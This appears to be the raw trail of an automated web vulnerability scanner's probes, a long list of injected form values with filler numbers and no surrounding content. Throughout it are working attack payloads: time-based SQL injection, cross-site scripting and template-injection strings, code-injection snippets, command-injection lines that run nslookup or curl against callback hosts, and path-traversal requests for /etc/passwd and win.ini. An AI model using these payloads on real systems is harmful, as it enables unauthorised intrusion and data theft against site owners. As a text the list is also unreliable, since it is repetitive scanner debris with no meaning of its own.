20

  20

  20

  20

  20

 

  20

  20

 

  20

  @@5TUHU

 

  20

  20����%2527%2522\'\"

  <iframe src="9737.com"></iframe>

  20'"

  20

 

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20

  HrluB

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20

  }body{zzz:Expre/**/SSion(AYUG(9294))}

  20

  20uAB2ekku')) OR 939=(SELECT 939 FROM PG_SLEEP(15))--

  <a></a>

  20rr0YDLIs') OR 67=(SELECT 67 FROM PG_SLEEP(15))--

  20

  <a href="http://xss.bxss.me"></a>

  20a0FqfsL0' OR 928=(SELECT 928 FROM PG_SLEEP(15))--

  20

  <input>

  20-1)) OR 924=(SELECT 924 FROM PG_SLEEP(15))--

  20

  %F6<img>

  20-1) OR 894=(SELECT 894 FROM PG_SLEEP(15))--

  20

  &lt;ScRiPt&gt;AYUG(9094)&lt;/sCripT&gt;

  20-1 OR 113=(SELECT 113 FROM PG_SLEEP(15))--

  20

  \u003CScRiPt\AYUG(9323)\u003C/sCripT\u003E

  200rMpSa6b')); waitfor delay '0:0:15' --

  20

  %0D%0A%3C%53%63%52%69%50%74%20%3E%41%59%55%47%289922%29%3C%2F%73%43%72%69%70%54%3E

  20LZkyoEL3'); waitfor delay '0:0:15' --

  20

  20euEKA3Le'; waitfor delay '0:0:15' --

  <img src="&gt;">

  20

  <img src="xyz">

  20-1 waitfor delay '0:0:15' --

  20

  20-1)); waitfor delay '0:0:15' --

  <img src="//xss.bxss.me/t/dot.gif">

  20

  20-1); waitfor delay '0:0:15' --

 

  20

  20-1; waitfor delay '0:0:15' --

  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  <form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  20

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

 

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  20

  &lt;ScRiPt &gt;AYUG(9199)

  20*if(now()=sysdate(),sleep(15),0)

  20

 

  20

  20

  20

 

  20

  20

  IpT&gt;

  20

  20

  20

  20<iframe src="9086.com"></iframe>

  9115

  20

  20m1nx8

  20

 

  20}body{zzz:Expre/**/SSion(UN0T(9969))}

  20

  <a></a>

 

  <a href="http://xss.bxss.me"></a>

  20<input>

  20

  �<img>

 

  20&lt;ScRiPt&gt;UN0T(9677)&lt;/sCripT&gt;

  20

  20\u003CScRiPt\UN0T(9469)\u003C/sCripT\u003E

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  20

  %32%30%3C%53%63%52%69%50%74%20%3E%55%4E%30%54%289678%29%3C%2F%73%43%72%69%70%54%3E

  dfb__${98991*97996}__::.x

  20<img src="&gt;">

  20

  dfb[[${98991*97996}]]xca

  20<img src="xyz">

  20

  20<img src="//xss.bxss.me/t/dot.gif">

  dfb{{98991*97996}}xca

  20

  20

  20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20

  20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  20

  20

  20&lt;ScRiPt &gt;UN0T(9589)

  20

  20

  20

 

  20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%55%4E%30%54%28%39%32%37%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

  20

  20

  209244

  20

  &lt;%={{={@{#{${dfb}}%&gt;

  20

  20

  20

  bfgx8326%C0%BEz1%C0%BCz2a%90bcxhjl8326

  20

  20

  20

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  bfg5185＜s1﹥s2ʺs3ʹhjl5185

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  20

  dfb{{98991*97996}}xca

  20

  20"||sleep(27*1000)*pjvfbl||"

  20'||sleep(27*1000)*rkjwaa||'

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  20

  20"&amp;&amp;sleep(27*1000)*lfvpya&amp;&amp;"

  20

  20

  20

  20'&amp;&amp;sleep(27*1000)*etpvbj&amp;&amp;'

  9878839

  '"()

 

  20

  20

  20

  '"()&amp;%

  20

  '.print(md5(31337)).'

  ${@print(md5(31337))}\

  &lt;%={{={@{#{${dfb}}%&gt;

  20

  ${@print(md5(31337))}

  bfgx2832%C0%BEz1%C0%BCz2a%90bcxhjl2832

  '"()&amp;%

  ";print(md5(31337));$a="

  bfg10962%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10962

  ';print(md5(31337));$a='

  20

  ;(nslookup -q=cname hitpdklgufkoje5de1.bxss.me||curl hitpdklgufkoje5de1.bxss.me)|(nslookup -q=cname hitpdklgufkoje5de1.bxss.me||curl hitpdklgufkoje5de1.bxss.me)&amp;(nslookup -q=cname hitpdklgufkoje5de1.bxss.me||curl hitpdklgufkoje5de1.bxss.me)

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  ".gethostbyname(lc("hitbw"."tijiiyrb59cdb.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(75).chr(106).chr(85)."

  /\xfs.bxss.me?parliament.mn

  `(nslookup -q=cname hittopqpvofcm59c90.bxss.me||curl hittopqpvofcm59c90.bxss.me)`

  '.gethostbyname(lc('hitko'.'dluinuiz04916.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(88).chr(105).chr(77).'

  20

  |(nslookup -q=cname hitzvectvsixl531a1.bxss.me||curl hitzvectvsixl531a1.bxss.me)

  209970249

  //xfs.bxss.me?parliament.mn

  20

  &amp;(nslookup -q=cname hitzkubywtoelbdc63.bxss.me||curl hitzkubywtoelbdc63.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitzkubywtoelbdc63.bxss.me||curl hitzkubywtoelbdc63.bxss.me)&amp;`'

  '"()&amp;%

  xfs.bxss.me?parliament.mn

  &amp;nslookup -q=cname hitfwbjcbjcjq80901.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitfwbjcbjcjq80901.bxss.me&amp;`'

  20

  20'"()&amp;%

  $(nslookup -q=cname hitczrrfavvvkb5c45.bxss.me||curl hitczrrfavvvkb5c45.bxss.me)

  http://xfs.bxss.me?parliament.mn

  (nslookup -q=cname hitzxgwakejdjcccf2.bxss.me||curl hitzxgwakejdjcccf2.bxss.me))

 

  20

  928947

  20

  ./20

  20|echo vokajx$()\ ivmuow\nz^xyu||a #' |echo vokajx$()\ ivmuow\nz^xyu||a #|" |echo vokajx$()\ ivmuow\nz^xyu||a #

  '"

  xfs.bxss.me

  |echo lawmxw$()\ wprlof\nz^xyu||a #' |echo lawmxw$()\ wprlof\nz^xyu||a #|" |echo lawmxw$()\ wprlof\nz^xyu||a #

  '+'A'.concat(70-3).concat(22*4).concat(113).concat(79).concat(110).concat(74)+(require'socket' Socket.gethostbyname('hitpu'+'dmmuhyry85f6f.bxss.me.')[3].to_s)+'

  20&amp;echo nirfeb$()\ jsdjkx\nz^xyu||a #' &amp;echo nirfeb$()\ jsdjkx\nz^xyu||a #|" &amp;echo nirfeb$()\ jsdjkx\nz^xyu||a #

  ../20

  "+"A".concat(70-3).concat(22*4).concat(103).concat(71).concat(112).concat(75)+(require"socket" Socket.gethostbyname("hitol"+"vuiqcxurd8e55.bxss.me.")[3].to_s)+"

  &amp;echo vyreax$()\ fsmvhr\nz^xyu||a #' &amp;echo vyreax$()\ fsmvhr\nz^xyu||a #|" &amp;echo vyreax$()\ fsmvhr\nz^xyu||a #

  echo tpxlvk$()\ hdstgo\nz^xyu||a #' &amp;echo tpxlvk$()\ hdstgo\nz^xyu||a #|" &amp;echo tpxlvk$()\ hdstgo\nz^xyu||a #

  20

  20

  "+response.write(9725855*9057450)+"

  file:///etc/passwd

  '+response.write(9725855*9057450)+'

  bxss.me/t/xss.html?%00

  ../../../../../../../../../../../../../../windows/win.ini

  response.write(9725855*9057450)

  HttP://bxss.me/t/xss.html?%00

  ../../../../../../../../../../../../../../etc/passwd

  bxss.me

  20

  c:/windows/win.ini

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  /etc/shells

  http://bxss.me/t/fit.txt%3F.jpg

  Http://bxss.me/t/fit.txt

  20

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  ^(#$!@#$)(()))******

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  !(()&amp;&amp;!|*|*|

  )

  20

  ${10000214+9999911}

  20

  20

  20

  20

  20

  20

  20

  @@q9XJy

  20����%2527%2522\'\"

  20'"

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20v9r0vuIo')) OR 578=(SELECT 578 FROM PG_SLEEP(15))--

  20eE20zG1A') OR 709=(SELECT 709 FROM PG_SLEEP(15))--

  20SNQKd3kV' OR 280=(SELECT 280 FROM PG_SLEEP(15))--

  20-1)) OR 156=(SELECT 156 FROM PG_SLEEP(15))--

  20-1) OR 706=(SELECT 706 FROM PG_SLEEP(15))--

  20-1 OR 119=(SELECT 119 FROM PG_SLEEP(15))--

  20qOwjmXPm')); waitfor delay '0:0:15' --

  20RvnLczl4'); waitfor delay '0:0:15' --

  20vCo6Hdmb'; waitfor delay '0:0:15' --

  20-1 waitfor delay '0:0:15' --

  20-1)); waitfor delay '0:0:15' --

  20-1); waitfor delay '0:0:15' --

  20-1; waitfor delay '0:0:15' --

  20

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  20

  20

  20

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

  &lt;%={{={@{#{${dfb}}%&gt;

 

  555

  20

  bfgx10267%C0%BEz1%C0%BCz2a%90bcxhjl10267

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  <iframe src="9784.com"></iframe>

  555

  555

  20

  bfg2063＜s1﹥s2ʺs3ʹhjl2063

 

  20*if(now()=sysdate(),sleep(15),0)

  555

  20

  rXKmV

  555

  20

  }body{zzz:Expre/**/SSion(3ybF(9804))}

  20

  555

  20

  9001830

  555

  <a></a>

  555

  20

  '"()&amp;%

  555

  <a href="http://xss.bxss.me"></a>

  555

  555

  20

  '"()&amp;%

  20

  <input>

  20

  555

  %F6<img>

  555

  20

  &lt;ScRiPt&gt;3ybF(9201)&lt;/sCripT&gt;

  20

  555

  \u003CScRiPt\3ybF(9235)\u003C/sCripT\u003E

  20

  555

  %0D%0A%3C%53%63%52%69%50%74%20%3E%33%79%62%46%289132%29%3C%2F%73%43%72%69%70%54%3E

  555

  20

  <img src="&gt;">

  555

  20

  <img src="xyz">

  20

  555

  <img src="//xss.bxss.me/t/dot.gif">

  20

 

  20

  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20

  <form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  20

 

  20

  &lt;ScRiPt &gt;3ybF(9847)

  20

 

  20

 

  20

  20

  20

  IpT&gt;

  20

  20

  20<iframe src="9942.com"></iframe>

  9563

  20

  20

  20yKFdl

 

  20}body{zzz:Expre/**/SSion(DSh9(9731))}

  20

  <a></a>

 

  <a href="http://xss.bxss.me"></a>

  20

  20<input>

 

  �<img>

  20

  20&lt;ScRiPt&gt;DSh9(9596)&lt;/sCripT&gt;

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  20\u003CScRiPt\DSh9(9734)\u003C/sCripT\u003E

  20

  %32%30%3C%53%63%52%69%50%74%20%3E%44%53%68%39%289470%29%3C%2F%73%43%72%69%70%54%3E

  dfb__${98991*97996}__::.x

  20<img src="&gt;">

  20

  dfb[[${98991*97996}]]xca

  20<img src="xyz">

  20

  20<img src="//xss.bxss.me/t/dot.gif">

  dfb{{98991*97996}}xca

  20

  20

  20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  20

  20

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  20

  20&lt;ScRiPt &gt;DSh9(9141)

  20

  20

  20

  20

 

  20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%44%53%68%39%28%39%34%30%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

  20

  20

  209299

  20

  20

  20

  &lt;%={{={@{#{${dfb}}%&gt;

  20

  20

  bfgx10456%C0%BEz1%C0%BCz2a%90bcxhjl10456

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  20

  20"||sleep(27*1000)*whzirg||"

  bfg4767＜s1﹥s2ʺs3ʹhjl4767

  20'||sleep(27*1000)*vsowfv||'

  dfb[[${98991*97996}]]xca

  555

  dfb{{98991*97996}}xca

  20"&amp;&amp;sleep(27*1000)*yyebop&amp;&amp;"

  20

  20'&amp;&amp;sleep(27*1000)*fkstkz&amp;&amp;'

  20

  9438858

  20

  '"()

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  20

  20

  20

  20

  '"()&amp;%

  20

 

  20

  '"()&amp;%

  20

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx10836%C0%BEz1%C0%BCz2a%90bcxhjl10836

  20

  bfg5238%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5238

  '.print(md5(31337)).'

  ${@print(md5(31337))}\

  20

  ${@print(md5(31337))}

  ";print(md5(31337));$a="

  ".gethostbyname(lc("hitcr"."paiygxps05b2a.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(86).chr(99).chr(87)."

  20

  209029466

  ';print(md5(31337));$a='

  '.gethostbyname(lc('hitmz'.'sejocrxd32408.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(83).chr(109).chr(78).'

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  '"()&amp;%

  20'"()&amp;%

  20

  /\xfs.bxss.me?parliament.mn

  ;(nslookup -q=cname hitwehxsijldi10c12.bxss.me||curl hitwehxsijldi10c12.bxss.me)|(nslookup -q=cname hitwehxsijldi10c12.bxss.me||curl hitwehxsijldi10c12.bxss.me)&amp;(nslookup -q=cname hitwehxsijldi10c12.bxss.me||curl hitwehxsijldi10c12.bxss.me)

  20

  //xfs.bxss.me?parliament.mn

  `(nslookup -q=cname hitmrviswyjqjc8fd9.bxss.me||curl hitmrviswyjqjc8fd9.bxss.me)`

  |(nslookup -q=cname hitluddbxxjsj865ec.bxss.me||curl hitluddbxxjsj865ec.bxss.me)

 

  xfs.bxss.me?parliament.mn

  &amp;(nslookup -q=cname hitemxchvqkkbec92c.bxss.me||curl hitemxchvqkkbec92c.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitemxchvqkkbec92c.bxss.me||curl hitemxchvqkkbec92c.bxss.me)&amp;`'

  '"

  '+'A'.concat(70-3).concat(22*4).concat(114).concat(71).concat(104).concat(65)+(require'socket' Socket.gethostbyname('hitzh'+'oygrejct0d917.bxss.me.')[3].to_s)+'

  &amp;nslookup -q=cname hitgyojofurmqbc497.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitgyojofurmqbc497.bxss.me&amp;`'

  http://xfs.bxss.me?parliament.mn

  $(nslookup -q=cname hitjlxergdsgoa953a.bxss.me||curl hitjlxergdsgoa953a.bxss.me)

  "+"A".concat(70-3).concat(22*4).concat(112).concat(90).concat(120).concat(85)+(require"socket" Socket.gethostbyname("hitoe"+"uskssdwt9ceed.bxss.me.")[3].to_s)+"

  900935

  (nslookup -q=cname hityqliuprdxa038e3.bxss.me||curl hityqliuprdxa038e3.bxss.me))

  xfs.bxss.me

  20|echo ppqrev$()\ gvvysn\nz^xyu||a #' |echo ppqrev$()\ gvvysn\nz^xyu||a #|" |echo ppqrev$()\ gvvysn\nz^xyu||a #

  bxss.me/t/xss.html?%00

  |echo graozv$()\ vunlpw\nz^xyu||a #' |echo graozv$()\ vunlpw\nz^xyu||a #|" |echo graozv$()\ vunlpw\nz^xyu||a #

  ./20

  20

  20&amp;echo hklwcd$()\ atwjud\nz^xyu||a #' &amp;echo hklwcd$()\ atwjud\nz^xyu||a #|" &amp;echo hklwcd$()\ atwjud\nz^xyu||a #

  HttP://bxss.me/t/xss.html?%00

  ../20

  &amp;echo lupddb$()\ ojcupm\nz^xyu||a #' &amp;echo lupddb$()\ ojcupm\nz^xyu||a #|" &amp;echo lupddb$()\ ojcupm\nz^xyu||a #

  echo hgwbkz$()\ pkglub\nz^xyu||a #' &amp;echo hgwbkz$()\ pkglub\nz^xyu||a #|" &amp;echo hgwbkz$()\ pkglub\nz^xyu||a #

  "+response.write(9064031*9280242)+"

  20

  bxss.me

  file:///etc/passwd

  c:/windows/win.ini

  ../../../../../../../../../../../../../../windows/win.ini

  '+response.write(9064031*9280242)+'

  /etc/shells

  ../../../../../../../../../../../../../../etc/passwd

  response.write(9064031*9280242)

  http://bxss.me/t/fit.txt%3F.jpg

  Http://bxss.me/t/fit.txt

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  20

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  ^(#$!@#$)(()))******

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  !(()&amp;&amp;!|*|*|

  20

  )

  ${10000062+9999062}

  20

  20

  20

 

 

 

  <iframe src="9760.com"></iframe>

 

  VsSx3

  }body{zzz:Expre/**/SSion(7Vfr(9145))}

  <a></a>